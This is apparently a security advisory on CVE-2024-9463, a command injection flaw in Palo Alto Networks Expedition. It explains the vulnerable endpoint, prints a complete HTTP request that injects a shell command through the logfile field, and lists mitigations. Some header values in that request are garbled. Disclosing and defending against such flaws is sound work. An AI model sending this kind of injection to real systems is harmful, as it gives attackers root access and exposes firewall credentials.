CVE-2024-9463 - Unauthenticated OS Command Injection in Palo Alto Networks Expedition

Palo Alto Networks' Expedition tool is designed to assist security professionals with the analysis, configuration, and management of their firewall and security devices. It provides a comprehensive interface to automate and streamline device management, but it has recently been discovered that this versatile tool possesses a significant security vulnerability.

A critical OS command injection vulnerability (CVE-2024-9463) has been identified in Palo Alto Networks Expedition, allowing an unauthenticated attacker to execute arbitrary OS commands as root in the system. This could lead to the disclosure of sensitive information, such as PAN-OS firewall usernames, cleartext passwords, device configurations, and device API keys, which could then be utilized by the attacker to compromise further network security systems.

We will cover the details of this vulnerability, its exploitable code, links to original references, and exploit information to aid users in understanding the risks they face and assist them in mitigating the vulnerabilities effectively.

Exploit Details

The OS command injection vulnerability stems from improper validation of user-supplied data. The affected endpoint, "/php/utils/debugActions.php," does not properly sanitize the input provided by users. As a result, an attacker can craft malicious requests containing crafted input data and execute arbitrary OS commands as the root user in Expedition.

To exploit this vulnerability, an attacker simply needs to send a malicious POST request to the "/php/utils/debugActions.php" endpoint. Here's an example of a crafted request that exploits the vulnerability:

POST /php/utils/debugActions.php HTTP/1.1
Host: vulnerable_host
User-Agent: Mozilla/5. (X11; Linux x86_64; rv:68.) Gecko/20100101 Firefox/68.
Accept: text/html,application/xhtml+xml,application/xml;q=.9,*/*;q=.8
Accept-Language: en-US,en;q=.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

action=log&logfile=/root/Expedition-Bot.LOG'|echo 'Vulnerable_to_CVE-2024-9463'|'&logsize=

The above request injects the command "echo 'Vulnerable_to_CVE-2024-9463'" into the target system, indicating that the system is indeed vulnerable to this exploit.

External References

1. CVE-2024-9463 Details on NIST NVD
2. Official Security Advisory from Palo Alto Networks

Mitigation Steps

Palo Alto Networks has acknowledged this vulnerability and issued an official advisory (link above) to inform its customers. The following steps can be taken to mitigate the vulnerability:

1. Update to the latest version: Until a patch is released, regularly checking for updates is strongly advised. As soon as the vulnerability is patched, updating to the latest version will protect your system.

2. Block access to the vulnerable endpoint: To prevent exploitation, it is advised to restrict access to the vulnerable "/php/utils/debugActions.php" endpoint through a restricted IP list or by making use of firewall rules and access control lists (ACLs).

3. Monitor logs: Monitor logs for any suspicious activity and respond accordingly if any suspicious events are detected.

4. Consider using a Web Application Firewall (WAF): A WAF can help prevent attempts to exploit this vulnerability by filtering out malicious requests.

Summary

The CVE-2024-9463 vulnerability in Palo Alto Networks Expedition highlights the importance of developers thoroughly sanitizing user input and implementing strict validation to prevent critical security vulnerabilities. Until an official patch is released, users should follow the recommended mitigation steps to protect their systems against exploitation. As always, stay informed on the latest security updates and advisories.

Timeline

Published on: 10/09/2024 17:15:19 UTC
Last modified on: 11/15/2024 02:00:01 UTC